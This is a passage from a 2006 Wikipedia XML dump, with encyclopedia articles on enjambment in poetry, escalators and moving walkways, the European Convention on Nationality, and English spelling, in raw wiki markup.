[[Category:1044 births|El Cid]]
[[Category:1099 deaths|El Cid]]

[[ca:El Cid]]
[[da:El Cid]]
[[de:El Cid]]
[[es:El Cid]]
[[eo:Cido]]
[[eu:El Cid]]
[[fr:Rodrigo Diaz de Bivar]]
[[gl:El Cid]]
[[it:El Cid]]
[[he:אל סיד]]
[[la:Rodericus Campidoctus]]
[[hu:El Cid]]
[[mk:Ел Сид]]
[[nl:Rodrigo Diaz de Vivar]]
[[ja:エル・シド]]
[[pl:Cyd]]
[[pt:El Cid]]
[[ru:Сид]]</text>
    </revision>
  </page>
  <page>
    <title>Enjambement</title>
    <id>10078</id>
    <revision>
      <id>42082984</id>
      <timestamp>2006-03-03T18:36:23Z</timestamp>
      <contributor>
        <username>MaggieT</username>
        <id>932514</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Enjambment''' is the breaking of a syntactic unit (a [[phrase]], [[clause]], or [[sentence (linguistics)|sentence]]) by the end of a line or between two verses. Its opposite is ''[[end-stopping]]'', where each linguistic unit corresponds with the line length. The term is directly borrowed from the[[French language|French]] &quot;enjambement&quot;.    

The following lines from [[Shakespeare]]’s ''[[Romeo and Juliet]]'' (''c.'' [[1595]]) are completely end-stopped:

:''A gloomy peace this morning with it brings.''
:''The sun for sorrow will not show his head.''
:''Go hence, to have more talk and these sad things.''
:''Some shall be pardon’d, and some punished.''

Each line is formally correspondent with a unit of thought — in this case, a clause of a sentence. End stopping is more frequent in early Shakespeare: as his style developed, the proportion of enjambment in his plays increased. Scholars such as Goswin König and [[A. C. Bradley]] have estimated approximate dates of undated works of Shakespeare by studying the frequency of enjambment.  The following lines from ''[[The Winter's Tale]]'' (''c.'' [[1611]]) are heavily enjambed:

:''I am not prone to weeping, as our sex''
:''Commonly are; the want of which vain dew''
:''Perchance shall dry your pities; but I have''
:''That honourable grief lodged here which burns''
:''Worse than tears drown.''

Meaning flows from line to line, and the reader’s eye is pulled forward. Enjambment creates a feeling of ''acceleration'', as the reader is forced to continue reading after the line has ended. It can also make the reader feel uncomfortable or the poem feel like “flow-of-thought” with a sensation of urgency or disorder.

A master of enjambment, [[E.E. Cummings]] combinined it with the use of punctuation as an art form:
:''i carry your heart with me(i carry it in''
:''my heart)i am never without it(anywhere''
:''i go you go,my dear;and whatever is done''
:''by only me is your doing,my darling)''
: &lt;span style=&quot;visibility: hidden&quot;&gt;———————————————————&lt;/span&gt; ''i fear''
:''no fate(for you are my fate,my sweet)i want''
:''no world(for beautiful you are my world,my true)''
:''and it's you are whatever a moon has always meant''
:''and whatever a sun will always sing is you''

:''here is the deepest secret nobody knows''
:''(here is the root of the root and the bud of the bud''
:''and the sky of the sky of a tree called life;which grows''
:''higher than soul can hope or mind can hide)''
:''and this is the wonder that's keeping the stars apart''

:''i carry your heart(i carry it in my heart)''

For another example of enjambment in poetry, look at the opening lines of [[Catullus 13|Catullus XIII]], ''ad Fabullum'':

:''Cenabis bene, mi Fabulle, apud me''
:''paucis, si tibi di favent, diebus,''
:''si tecum attuleris bonam atque magnam''
:''cenam, non sine candida puella''
:''et vino et sale et omnibus cachinnis.''

Here is an English translation, roughly preserving word order:

: You will dine well, my Fabullus, at my house
: in a few, if the gods favor you, days,
: and if you bring with you a good and great
: dinner, not without a white girl
: and wine and wit and laughs for all.

The phrase ''si tecum attuleris bonam atque magnam / cenam'' (“if you bring with you a good and great / dinner”) is sharply enjambed between the third and fourth lines.



[[Category:Poetic form]]

[[de:Enjambement]]
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  </page>
  <page>
    <title>Escalator</title>
    <id>10079</id>
    <revision>
      <id>41976327</id>
      <timestamp>2006-03-03T00:13:15Z</timestamp>
      <contributor>
        <ip>81.57.208.177</ip>
      </contributor>
      <text xml:space="preserve">[[image:Westminster_escalators.jpg|thumb|300px|Escalators at [[Westminster tube station]], [[London]]]]

An '''escalator''' is a [[conveyor transport]] device for [[transport]]ing people, consisting of a [[staircase]] whose steps move up or down on tracks that keep the surfaces of the individual steps horizontal.

A '''moving walkway''', '''moving sidewalk''', '''travelator''', or '''travellator''' is a slow [[conveyor belt]] that [[transport]]s people horizontally or on an incline in a similar manner to an escalator. In both cases, riders can [[walk]] or stand. The walkways are often supplied in pairs, one for each direction.

==Designs==
===Escalators===
Modern escalators have metal steps in a continuous loop that move on tracks. Escalators are typically used in pairs with one going up and the other going down. Some modern escalators in stores and shopping malls have glass sides that reveal their workings. Although most escalators are straight, some shopping malls use curved versions.

Most escalators have moving handrails that approximately keep pace with the movement of the steps. The direction of movement (up or down) can be permanently the same, or be controlled by personnel according to the time of day, or automatically be controlled by whomever arrives first, whether at the bottom or at the top (of course the system is programmed so that the direction is not reversed while somebody is on the escalator). In the last two cases there has to be an alternative nearby.

===Moving walkways===
Moving walkways, also known as moving sidewalks, are built in one of two basic styles:

* Pallet type -- a continues series of flat metal plates mesh together to form a walkway. Most have a metal surface, though some models have a rubber surface for extra traction.
* Moving belt -- these are generally built with mesh metal belts or rubber walking surfaces over metal rollers. The walking surface may have a solid feel or a &quot;bouncy&quot; feel.

Both types of moving walkway have a grooved surface to mesh with combplates at the ends.  Also, all moving walkways are built with moving handrails similar to those on escalators. 

Moving walkways are often used in [[airport]]s where there is a long distance to walk between terminals, and in [[rapid transit|metro]] stations.

[[Image:Parisian high-speed walkway.jpg|right|thumb|300px|Experimental 185 metre long high-speed moving walkway on the Parisian Métro.]]

===High-speed walkways===
The speed of a moving walkway is usually 3 km/h, but there is a high-speed version at [[Gare Montparnasse]] station in [[Paris]]. At first it operated at 12 km/h but too many people were falling over, so the speed was reduced to 9 km/h. It has been estimated that commuters using a walkway such as this twice a day would save 11.5 hours a year.

Using the high-speed walkway is like using any other moving walkway, except that for safety there are special procedures to follow when joining or leaving. Staff (seen here in yellow jackets) determine who can use it, as riders must have at least one hand free to hold the handrail. Those carrying bags, shopping, etc., or who are infirm, must use the ordinary walkway nearby.

On entering, there is a 10 m [[acceleration]] zone where the 'ground' is a series of metal rollers. Riders ''must'' stand still with both feet on these rollers and use one hand to hold the handrail and let it pull them so that they glide over the rollers. The idea is to accelerate the riders so that they will be travelling fast enough to step onto the moving walkway belt.

Once on the walkway, riders can stand or walk; there is no special sensation of travelling at speed.

At the exit, there is a deceleration zone where again riders ''must'' stand still and let the handrail pull them as they slow down, again while gliding over metal rollers. Then they just walk off.

[[Image:Movingsidewalk.JPG|right|thumb|300px|An inclined moving sidewalk at Beaudry metro station in Montreal]]
[[Image:Travelator-at-Roma-Street-Station.jpg|thumb|right|300px|A travelator at Roma Street Station in Brisbane]]

===Inclined moving sidewalks===
An '''inclined moving sidewalk''', also called a '''movator''', '''travelator''' or '''moving ramp''', is used in airports and [[supermarket]]s to move people to another floor with the convenience of an [[elevator]] (people can take along their suitcase trolley or [[shopping cart]]) and the capacity of an escalator. The carts have either a [[brake]] that is automatically applied when the cart handle is released, or specially designed wheels that secure the cart within the grooves of the [[Inclined plane|ramp]], so that it does not run away down the ramp. Some [[department store]]s instead use an escalator with a specially-designed chain, similar to those used on [[roller coaster]]s, to move specially-designed carts up and down a steeper slope beside and at the same speed as the passenger escalator. The [[Central-Mid-levels escalator]] system on [[Hong Kong Island]], [[Hong Kong]] also has several inclined moving sidewalks.

[[Image:Escalator receiveing maintenance (from bottom).JPG|thumb|left||An escalator receiving maintenance.  The steps have been removed, showing internal workings.]]

=== Spiral escalators ===

A spiral escalator would take up much less horizontal space than the usual straight escalator flight.  However, early attempts at spiral designs ended in failure, such as one constructed by Reno in conjunction with [[William Henry Aston]] at London's [[Holloway Road tube station|Holloway Road Underground station]] in 1906.  It was dismantled almost immediately and little of the mechanism survives.

[[Mitsubishi Electric Corporation]] has developed and manufactured curved and spiral escalators since the 1980s.

One notable set of spiral escalators is at the San Francisco Shopping Centre in [[San Francisco, California|San Francisco]], [[California]] and at [[Forum Shops at Caesars|Forum Shops]] at [[Caesars Palace]] in [[Las Vegas, Nevada|Las Vegas]], [[Nevada]]. The [[Times Square (Hong Kong)|Times Square]] shopping mall in [[Causeway Bay]], [[Hong Kong]] also features four curved escalators, as does [[Wheelock Place]] in [[Singapore]].

[[Caesar's Palace]] in Las Vegas recently installed a Spiral Escalator in an expansion and retail center.

== History ==

In [[1892]], [[Charles A. Wheeler]] patented ideas for the first practical moving staircase, though it was never built. Some of its features were incorporated in the prototype built by the Otis Elevator Company in 1899.

[[Jesse W. Reno]] invented the first escalator and installed it as an amusement ride at [[Coney Island]], [[New York, New York|New York]] in [[1897]].  This particular device was little more than a inclined belt with wooden slats or cleats on the surface for traction. The incline was as steep as 25°.  Reno sold this machine to the [[Otis Elevator Company]] in [[1899]], and together they produced the first commercial escalator which won a first prize at the [[Paris]] [[Exposition Universelle (1900)|1900 Exposition Universelle]] in [[France]].  Some escalators of this vintage were still being used in the [[MBTA|Boston subway]] until 1994.

Around the same time that Reno's invention appeared, [[Charles Seeberger]] developed a form of escalator as well.  This device actually consisted of flat, moving stairs, not unlike the escalators of today, except for one important detail: the step surface was smooth, with no comb effect to safely guide the rider's feet off at the ends.  Instead, the passenger had to step off sideways.  To facilitate this, at the top or bottom of the escalator the steps continued moving horizontally beyond the end of the handrail (like a mini-moving sidewalk) until they disappeared under a triangular &quot;divider&quot; which guided the passenger to either side. The first escalator installed on the [[London Underground]] was one such Seeberger model; it was located at [[Earl's Court tube station|Earls Court]], [[London]], [[United Kingdom|UK]].

For a time, Otis Elevator sold both types of escalator. The company later combined the best aspects of both the Reno (guiding slats) and Seeberger (flat steps) inventions and in 1921 produced an escalator of the type used today. These improvements in design brought the escalator into extensive use in department stores, banks and [[metro]] stations.

The German company [[Orenstein and Koppel GmbH|Orenstein &amp; Koppel]] (O&amp;K) would also become a major player in escalator design and manufacture.

Escalators in the [[London Underground]] once had wooden steps, but this was changed after the [[Kings Cross fire|fire at King's Cross St. Pancras tube station]] in [[1987]]. Old escalators with wooden steps are still in use in some places, however, such as the [[Tyne Tunnel|Tyne Cyclist and Pedestrian Tunnel]] in [[Tyne and Wear]], [[England]], the [[Macy's]] department store in [[New York City]] and the St. Anna Pedestrian Tunnel underneath the [[Schelde]] in [[Antwerp]], [[Belgium]].

== Usage ==

When using escalators, it is customary for passengers who wish to stand and let themselves be carried up or down to stand on one side to allow other users to walk past them. The observance of this custom varies greatly from place to place&amp;mdash;the rule is more likely to be adhered to on, for example, the long escalators of an underground transport system than in a department store. Additionally it is customary to stand on a fixed side, so that walking people do not have to [[zigzag]]. The side for standing also varies, and does not necessarily correspond with the [[rules of the road]]: on the [[London Underground]], and [[Washington Metro]], and in [[Hong Kong]], one stands on the right; in [[Singapore]] and [[Australia]] on the left.
In the [[Montreal Metro]], while walking on escalators is theoretically forbidden, this rule is scarcely observed and not at all enforced, and passengers tend to stand on the right.

A mnemonic for the U.S./British convention on this point is that ''stand'' and ''right'' each have five letters, while ''walk'' and ''left'' have four.

For fun, people sometimes use an escalator in opposite direction, climbing up or down the stairs faster than it moves. This can cause inconvenience for other users, unless it is very quiet.

Sometimes escalators help in controlling traffic flow of people. For example, an escalator to an exit prevents most people from using it as entrance, hence it does not require a regular ticket check. An eye has to be kept on people trying to avoid the ticket check by using the escalator in opposite direction, compare [[turnstile jumping]].

== Accidents ==

There have been various reports of people actually falling off a moving escalator or getting their shoe stuck in part of the escalator.  A few fatal accidents are known to have involved escalators and travelators:  [[Sally Baldwin]], a professor of the [[University of York]], was crushed to death at [[Tiburtina Station]] in [[Rome]] on [[28 October]] [[2003]] after a travelator collapsed and she was pulled into the cogwheels.

In another incident, on [[June 15]], [[2002]], Andrea Albright, a 24-year-old [[JC Penney]] employee in the [[Mall in Columbia]] ([[Columbia, Maryland]]), was critically injured while riding the store's escalator from the first to the second level. She somehow got her head caught between the escalator rail and a low ceiling. Albright died 10 days later of massive injuries to the [[brain]] from lack of [[oxygen]]. In 2005, her parents sued the property manager, two design firms, and the escalator company for $5 million.

Francisco Portillo, a [[El Salvador|Salvadorian]] man living in Boston, died after getting his hood stuck in an [[MBTA]] escalator on [[21 February]], [[2005]]. 

Newer models of escalators are equipped with a device called a comb-plate sensor that will stop the escalator if something gets caught.

[[Image:Long escalator in Washington Metro.jpg|thumb|300px|A long escalator in the [[Washington Metro]]]]

== Longest escalators and systems ==

In [[Hong Kong]], tens of thousands of commuters travel each work day between [[Central, Hong Kong|Central]], the [[Central business district|central business district]], and the [[Mid-levels]], a residential district hundreds of feet uphill, using a long distance system of escalators and [[moving sidewalk]]s called the [[Central-Mid-Levels escalator]].  It is the world's longest outdoor escalator ''system'' (not a single escalator span), at a total length of 800 m.  It goes only one way at a time; the direction reverses depending on rush hour traffic direction.  The [[Ocean Park, Hong Kong|Ocean Park]] in [[Hong Kong]] also has a long escalator system connecting two parts of the Park.  In the [[Times Square (Hong Kong)|Times Square]] [[shopping centre]] in [[Causeway Bay]] there is a bank of four [[Escalator#Spiral_escalators|spiral escalators]], each of which turns through about 180 degrees - by necessity, the undersides of these escalators are thicker as the step return mechanism needs to be more complex than on a straight escalator.

The longest escalator in the [[Western Hemisphere]] is at the [[Wheaton (Washington Metro)|Wheaton]] station of the [[Washington Metro]] [[rapid transit|subway]] system.  It is 155 m (508ft) long, and takes almost 3 and a half minutes to ascend or descend without walking.  It replaced what was formerly the longest escalator in the Western Hemisphere, which is also located on the Washington Metro system at the [[Bethesda (Washington Metro)|Bethesda]] station.

The longest escalator on earth is a four-section outdoor escalator at Ocean Park, Hong Kong, with an overall length of 224 m (745ft).

However, the metro systems in several cities in Eastern Europe (including [[Saint Petersburg|St. Petersburg]], [[Kiev|Kyiv]] and [[Prague]]) have Soviet-era escalators up to approximately 100 m (330ft) long.  Those at the [[Nám&amp;#283;stí Míru]] station in Prague were rebuilt to the same length in [[1998]]&amp;ndash;9 by [[ThyssenKrupp]].  The longest in the world are at [[Park Pobedy]] station on the [[Moscow Metro]].  Opened in 2003, these escalators have 740 steps each, and are over 120 metres long, making them the longest single-section escalators on earth.

== Etymology ==

''Escalator'' was originally a combination of the word 'scala', which is Latin for steps, and the word 'elevator', which had already been invented.
The [[verb]] form of the word is (to) ''escalate'' and is commonly applied to the use of increased force in warfare.

The word ''Escalator'' started out as a trademark of the Otis Elevator Company.  Otis, however, failed to police its usage sufficiently, so ''escalator'' became a generic term in 1950.  But until then, other manufacturers had to market their escalators under different names. The Peelle Company called theirs a '''''Motorstair''''', and [[Westinghouse_Electric_Corporation_%281886%29|Westinghouse]] called their model an '''''Electric Stairway'''''.  The Haughton Elevator company (now part of [[Schindler Group]]) referred to their product as simply '''''Moving Stairs'''''.

== See also ==
{{Commons|Moving sidewalk}}
* [[Central-Mid-Levels escalator]] ([[Hong Kong]])
* [[People mover]]
* [[Slidewalk]]
* [[Vermaport]]

== External links ==

* [http://www.theelevatormuseum.org/f/f_4.htm Moving Stairways/Escalators at www.theelevatormuseum.org]
* [http://news.bbc.co.uk/1/hi/world/europe/3001182.stm Walkway propels Paris metro into future], a BBC article on the high-speed travelator at [[Gare Montparnasse]] station in [[Paris]]. (provided by [http://www.cnim.com CNIM])
* [http://news.bbc.co.uk/1/hi/world/europe/3221621.stm Briton dies in Rome station accident], BBC
* [http://www.boston.com/news/local/articles/2005/03/02/man_is_strangled_after_clothing_snags_in_mbta_escalator/ Man is strangled after clothing snags in MBTA escalator], news article about Francisco Portillo's death, with mention of other escalator accidents
* [http://www.washingtonpost.com/wp-srv/local/facts/metro120598.htm Escalator troubles rooted in Metro's original design]

&lt;!-- Old language links from [[Moving sidewalk]] (merged in):  [[da:Rullende_fortov]] [[de:Fahrsteig]] [[nl:Loopband]] [[ja:&amp;#12458;&amp;#12540;&amp;#12488;&amp;#12454;&amp;#12457;&amp;#12540;&amp;#12463;]] --&gt;

[[category:Vertical transportation devices]]

[[cs:Eskalátor]]
[[zh-min-nan:Tiān-thui]]
[[de:Fahrtreppe]]
[[eo:Rulŝtuparo]]
[[fr:Escalier mécanique]]
[[he:דרגנוע]]
[[nl:Roltrap]]
[[ja:エスカレータ]]
[[pl:Schody ruchome]]
[[pt:Escada rolante]]
[[ru:Травалатор]]
[[fi:Liukuportaat]]
[[sv:Rulltrappa]]
[[zh:電動扶梯]]</text>
    </revision>
  </page>
  <page>
    <title>European Convention on Nationality</title>
    <id>10080</id>
    <revision>
      <id>38793931</id>
      <timestamp>2006-02-08T18:26:15Z</timestamp>
      <contributor>
        <ip>206.167.123.9</ip>
      </contributor>
      <text xml:space="preserve">The '''European Convention on Nationality''' ([[European Treaty Series|E.T.S.]] No. 166, done at Strasbourg, [[6 November]], [[1997]]) is a comprehensive convention dealing with the law of [[nationality]].

Common practice among states at the beginning of the [[20th century]] was that a woman was to have the nationality of her husband; thus upon marrying a foreigner she would automatically acquire the nationality of her husband, and lose her own nationality. Even once the nationality of a married woman was made no longer dependent on the nationality of her husband, legal provisions were still retained automatically [[Naturalization|naturalising]] married women, and sometimes married men as well. This could lead to a number of problems, including loss of the spouses' original nationality, the spouse losing the right to [[consular assistance]] (since consular assistance cannot be provided to nationals under the jurisdiction of a foreign state of which they are also nationals), and becoming subject to military service obligations. It provides that neither marriage nor dissolution of marriage shall automatically affect the nationality of either spouse (article 4d).

Article 5 provides that no [[discrimination]] shall exist in a state's internal nationality law on the grounds of &quot;sex, religion, race, colour or national or ethnic origin&quot;. It also provides that a state shall not discriminate amongst its nationals on the basis of whether they are naturalised or native born nationals.

Article 6 relates to the acquisition of nationality. It provides for nationality to be acquired at birth by descent from either parent to those born within the territory of the state. (States may exclude partially or fully children born abroad). It also provides for nationality by virtue of birth in the territory of state; however, states may limit this to only children who would be otherwise stateless. It requires the possibility of [[naturalisation]], and provides that the period of residence required for eligibility cannot be more than ten years lawful and habitual residence. It also requires to &quot;facilitate&quot; the acquisition of nationality by certain persons, including spouses of nationals, children of its nationals born abroad, children one of whose parents has acquired the nationality, children adopted by a national, persons lawfully and habitually resident for a period before the age of eighteen, and stateless persons and [[refugee]]s lawfully and habitually resident on its territory.

Article 7 regulates the involuntary loss of nationality. It provides that states may deprive their nationals of their nationality in only the cases of voluntary acquisition of another nationality, fraud or failure to provide relevant information when acquiring nationality, voluntary military service in a foreign military force, or adoption as a child by foreign nationals. It also provides for the possibility of loss of nationality for nationals habitually residing abroad. Finally it provides loss of nationality for &quot;conduct seriously prejudicial to the vital interests of the State Party&quot;.

Article 8 provides nationals with the right to renounce their nationality, providing they do not thereby become stateless. States may however restrict this right with respect to nationals residing abroad.

==External links==

* [http://conventions.coe.int/Treaty/en/Treaties/Html/166.htm European Convention on Nationality]

[[Category:Human migration]]

[[Category:Nationality law]]</text>
    </revision>
  </page>
  <page>
    <title>English spelling</title>
    <id>10081</id>
    <revision>
      <id>42161242</id>
      <timestamp>2006-03-04T05:40:48Z</timestamp>
      <contributor>
        <ip>68.113.4.149</ip>
      </contributor>
      <comment>/* The state of English spelling */</comment>
      <text xml:space="preserve">'''English spelling''' (or [[orthography]]), although largely [[phonemic]], has more complicated rules than many other spelling systems used by languages written in [[alphabet]]ic scripts and contains many inconsistencies between spelling and [[pronunciation]], necessitating [[rote learning]] for anyone learning to read or write English.

Throughout the [[history of the English language]], these inconsistencies have gradually increased in number. There are a number of contributing factors. First, gradual changes in pronunciation, such as the [[Great Vowel Shift]], account for many irregularities. Second, relatively recent [[loan word]]s from other languages generally carry their original spellings, which are often not [[phonetic]] in English. Inconsistencies in the [[Romanization]] of languages using alphabets not derived from the [[Latin alphabet]] (e.g., [[Chinese language|Chinese]]) has further complicated this problem. Third, some [[Prescription and description|prescriptionists]] have had partial success in their attempts to normalize the English language, forcing a change in spelling but not in pronunciation.

== History of the English spelling system ==
The regular spelling system of [[Old English language|Old English]] was swept away by the [[Norman Conquest]], and English itself was eclipsed by [[French language|French]] for three centuries, eventually emerging with its spelling much influenced by French. English had also borrowed large numbers of words from French, which for reasons of prestige and familiarity kept their French spellings. The spelling of [[Middle English]], such as in the writings of [[Geoffrey Chaucer]], is very irregular and inconsistent, with the same word being spelled differently, sometimes even in the same sentence.

The pronunciation {{IPA|/ʌ/}} (normally spelled ''u'') of written ''o'' in ''son'', ''love'', ''come'', etc. is due to Norman spelling conventions prohibiting writing of ''u'' before ''v'', ''m'', ''n'' due to the graphical confusion that would result. (''v'', ''u'', ''n'' were identically written with two [[minim (palaeography)|minim]]s in Norman handwriting; ''w'' was written as two ''u'' letters; ''m'' was written with three [[minim (palaeography)|minims]], hence ''mm'' looked like ''vun'', ''nvu'', ''uvu'', etc.)  Similarly, spelling conventions also prohibited final ''v''.  Hence the identical spellings of the three different vowel sounds in ''love'', ''grove'' and ''prove'' are due to ambiguity in the [[Middle English]] spelling system, not sound change.

There was also a series of linguistic sound changes towards the end of this period, including the [[Great Vowel Shift]], which resulted in &quot;igh&quot; in &quot;night&quot; changing from a pure vowel followed by a [[voiceless palatal fricative|palatal]]/[[voiceless velar fricative|velar]] [[fricative consonant|fricative]] to a diphthong. These changes for the most part did not detract from the rule-governed nature of the spelling system; but in some cases they introduced confusing inconsistencies, like the well-known example of the [[English words with uncommon properties#Abnormal pairs or groups of words|many pronunciations of &quot;ough&quot;]] (rough, through, though, trough, plough, etc.). Most of these changes happened before the arrival of printing in England. However, the arrival of the printing press merely froze the current system, rather than providing the impetus for a realignment of spelling with pronunciation. Furthermore, it introduced further inconsistencies, partly because of the use of typesetters trained abroad, particularly in the [[Low Countries]].

By the time [[dictionaries]] were introduced in the mid 1600s, the spelling system of English started to stabilise, and by the 1800s, most words had set spellings.

== Irregularities in the English spelling system ==
The English spelling system is one of the most irregular spelling systems in current use.  Although French presents a similar degree of difficulty when ''encoding'' (writing), English is more difficult when ''decoding'' (reading).  English has never had any formal regulating authority, like the [[Spanish language|Spanish]] [[Real Academia Española]], [[Italian language|Italian]] [[Accademia della Crusca]] or the [[French language|French]] [[Académie française]], so attempts to regularize or reform the language, including [[Spelling reform#English spelling reforms|spelling reform]], have usually met with failure.  

The only significant exceptions were the reforms of [[Noah Webster]] which resulted in many of the [[American and British English spelling differences|differences between British and American spelling]], such as  ''center/centre'', and ''dialog/dialogue''.  (Other differences, such as ''-ize/-ise'' in ''realize/realise'' etc, [[language change|came about]] separately.)

Besides the quirks the English spelling system has inherited from its past, there are other idiosyncrasies in spelling that make it tricky to learn. English contains 24 separate [[consonant]] [[phoneme]]s and, depending on [[dialect]], anywhere from fourteen to twenty [[vowel]]s. However, there are only 26 letters in the [[Latin alphabet|modern English alphabet]], so there cannot be a one-to-one correspondence between letters and sounds. Many sounds are spelled using different letters or multiple letters, and for those words whose pronunciation is predictable from the spelling, the sounds denoted by the letters depend on the surrounding letters. For example, the [[digraph (orthography)|digraph]] &quot;th&quot; represents two different sounds (the [[voiced interdental fricative]] and the [[voiceless interdental fricative]]) (see [[Pronunciation of English th]]), and the [[voiceless alveolar fricative]] can be represented by the letters &quot;s&quot; and &quot;c&quot;.

There was also a period when the spellings of words were altered in what is now regarded as a misguided attempt to make them conform to what were perceived to be the etymological origins of the words. For example, the letter &quot;b&quot; was added to &quot;debt&quot; in an attempt to link it to the Latin ''debitum'', and the letter &quot;s&quot; in &quot;island&quot; is a misplaced attempt to link it to Latin ''insula'' instead of the Norse word ''igland'', which is the true origin of the English word. The letter &quot;p&quot; in &quot;[[ptarmigan]]&quot; has no etymological justification whatsoever.

Furthermore, in most recent [[loanword]]s, English makes no attempt to Anglicise the spellings of these words, and preserves the foreign spellings, even when they employ exotic conventions, like the [[Polish language|Polish]] &quot;cz&quot; in &quot;Czech&quot; or the [[Old Norse language|Old Norse]] &quot;fj&quot; in &quot;fjord&quot;. In fact, instead of loans being respelled to conform to English spelling standards, sometimes the pronunciation changes as a result of pressure from the spelling. One example of this is the word &quot;[[ski]]&quot;, which was adopted from [[Norwegian language|Norwegian]] in the mid-18th century, although it didn't become common until 1900. It used to be pronounced &quot;shee&quot;, which is similar to the Norwegian pronunciation, but the increasing popularity of the sport after the middle of the 20th century helped the &quot;sk&quot; pronunciation replace it.

The spelling of English continues to evolve. Many loanwords come from languages where the pronunciation of vowels corresponds to the way they were pronounced in Old English, which is similar to the Italian or Spanish pronunciation of the vowels, and is the value the vowel symbols [a], [e], [i], [o], and [u] have in the [[International Phonetic Alphabet]]. As a result, there is a somewhat regular system of pronouncing &quot;foreign&quot; words in English, and some borrowed words have had their spelling changed to conform to this system. For example, [[Hindu]] used to be spelled &quot;Hindoo&quot;, and the name &quot;Maria&quot; used to be pronounced like the name &quot;Mariah&quot;, but was changed to conform to this system. It has been argued that this influence probably started with the introduction of many Italian words into English during the [[Renaissance]], in fields like [[music]], from which come the words &quot;andante&quot;, &quot;viola&quot;, &quot;forte&quot;, etc.

Commercial advertisers have also had an effect on English spelling. In attempts to differentiate their products from others, they introduce new or simplified spellings like &quot;lite&quot; instead of &quot;light&quot;, &quot;thru&quot; instead of &quot;through&quot;, &quot;smokey&quot; instead of &quot;smoky&quot; (for &quot;smokey bacon&quot; flavour crisps), and &quot;rucsac&quot; instead of &quot;rucksack&quot;. The spellings of personal names have also been a source of spelling innovations: affectionate versions of women's names that sound the same as men's names have been spelled differently: Nikki and Nicky, Toni and Tony, Jo and Joe. 

Many simplifications and abbreviations are made in [[Instant Messaging]] or [[Chatting]], for the sake of speed of messaging - e.g. &quot;night&quot; can be spelled as &quot;nite&quot; and &quot;later&quot; as &quot;l8r&quot;.

As examples of the idiosyncratic nature of English spelling, the combination &quot;ou&quot; can be pronounced in at least eleven different ways: &quot;famous&quot;, &quot;journey&quot;, &quot;cough&quot;, &quot;dough&quot;, &quot;bought&quot;, &quot;loud&quot;, &quot;tough&quot;, &quot;should&quot;, &quot;you&quot;, &quot;flour&quot;, &quot;tour&quot;; and the vowel sound in &quot;me&quot; can be spelt in at least eleven different ways: &quot;paediatric&quot;, &quot;me&quot;, &quot;seat&quot;, &quot;seem&quot;, &quot;ceiling&quot;, &quot;people&quot;, &quot;chimney&quot;, &quot;machine&quot;, &quot;siege&quot;, &quot;phoenix&quot;, &quot;lazy&quot;. (These examples assume a more-or-less standard non-regional British English accent. Other accents will vary.)

== The state of English spelling ==
It has been shown that regular alphabetic spelling systems make languages easier to learn. Indeed, the concept of learning &quot;spelling&quot; seems very strange to literate speakers of languages such as [[Finnish language|Finnish]] or [[Spanish language|Spanish]], as those languages' spelling systems are extremely regular. This is also the case with several [[abugida]] alphabets, such as [[Devanagari]], used to write many languages of [[North India]]. [[Vietnamese language|Vietnamese]] used to be written exclusively using [[Chinese character]]s, so that becoming literate in Vietnamese required years of study, and as a result, very few people were literate. However, after the introduction of a modified form of the [[Latin alphabet]] for writing Vietnamese, the writing system could be mastered by a native speaker with only a few hours or days of study, and literacy in Vietnamese is much more widespread now. English, it seems, is somewhere in between: its spelling system is highly irregular, but it is regular to some degree and mastery only requires knowledge of the 26 letters of the alphabet, whereas mastering written [[Chinese language|Chinese]] or [[Japanese language|Japanese]] is much more difficult, requiring the memorization of thousands of different characters. Studies have shown that [[dyslexia]] occurs more often (or at least is more noticeable) among speakers of languages such as English whose orthography differs heavily from the phonology than speakers of languages where the letter-sound correspondence is more regular.

== Spelling Patterns ==
:[æ]=a, au, ai. h'''a'''nd, l'''au'''gh, pl'''ai'''d
:[ei]=a, a-consonant-e, ai, ay, eigh, ea, ei, ey, au. p'''a'''per, r'''a'''t'''e''', r'''ai'''n, p'''ay''', '''eigh'''t, st'''ea'''k, v'''ei'''l, ob'''ey''', g'''au'''ge
:[b]=b, bb. '''b'''it, ra'''bb'''it
:[tʃ]=ch, t, tch, ti, c. '''ch'''in, na'''t'''ure, ba'''tch''', men'''ti'''on, '''c'''ello
:[d]=d,dd,ed. '''d'''ive, la'''dd'''er, fail'''ed'''
:[e]=e, ea, a, ai, ie, eo, u, ae, ay, ei, ue. m'''e'''t, w'''ea'''ther, m'''a'''ny, s'''ai'''d, fr'''ie'''nd, j'''eo'''pardy, b'''u'''ry, '''ae'''sthetic, s'''ay'''s, h'''ei'''fer, g'''ue'''ss
:[i]=e, y, ee, ea, e-consonant-e, i-consonant-e, ie, ei, ey, ae, ay, oe, eo. h'''e''', cit'''y''', b'''ee''', b'''ea'''ch, c'''e'''d'''e''', mach'''i'''n'''e''', f'''ie'''ld, dec'''ei'''ve, k'''ey''', C'''ae'''sar, qu'''ay''', am'''oe'''ba, p'''eo'''ple
:[f]=f, ph, ff, gh. '''f'''ine, '''ph'''ysical, o'''ff''', lau'''gh'''
:[g]=g, gg, gue, gh. '''g'''o, sta'''gg'''er, catalo'''gue''', '''gh'''ost
:[h]=h, wh. '''h'''e, '''wh'''om
:[ʍ]=wh. '''wh'''eel
:[I]= i, i-consonant-e, a-consonant-e, y, ie, ui, ei, ee, e, ia, u, o. b'''i'''t, g'''i'''v'''e''', dam'''a'''g'''e, m'''y'''th, s'''ie'''ve, b'''ui'''ld, counterf'''ei'''t, b'''ee'''n, pr'''e'''tty, carr'''ia'''ge, b'''u'''sy, w'''o'''men
:[ai]= i-consonant-e, i, y, igh, ie, ei, eigh, uy, ai, ey, ye, eye.  f'''i'''n'''e''', t'''i'''ger, tr'''y''', h'''igh''', t'''ie''', st'''ei'''n, h'''eigh'''t, b'''uy''', '''ai'''sle, g'''ey'''ser, d'''ye''', '''eye'''

== See also ==
*[[English language]]
*[[Spelling reform]]
*[[English plural]]
*[[English verbs]]
*[[Misspelling]]
*[[Alternative political spellings]]
*[[List of unusual English words]]
*[[Longest word in English]]
*[[Shavian alphabet]]
*[[Ghoti]]
*[[Three letter rule]]
*[[List of names in English with non-intuitive pronunciations]]
*[[List of common misspellings]] &amp;ndash; Wikipedia's own maintenance page
*[[I before e]]
*[[Silent E]]
*[[List of English words containing a Q not followed by a U]]

== External links ==
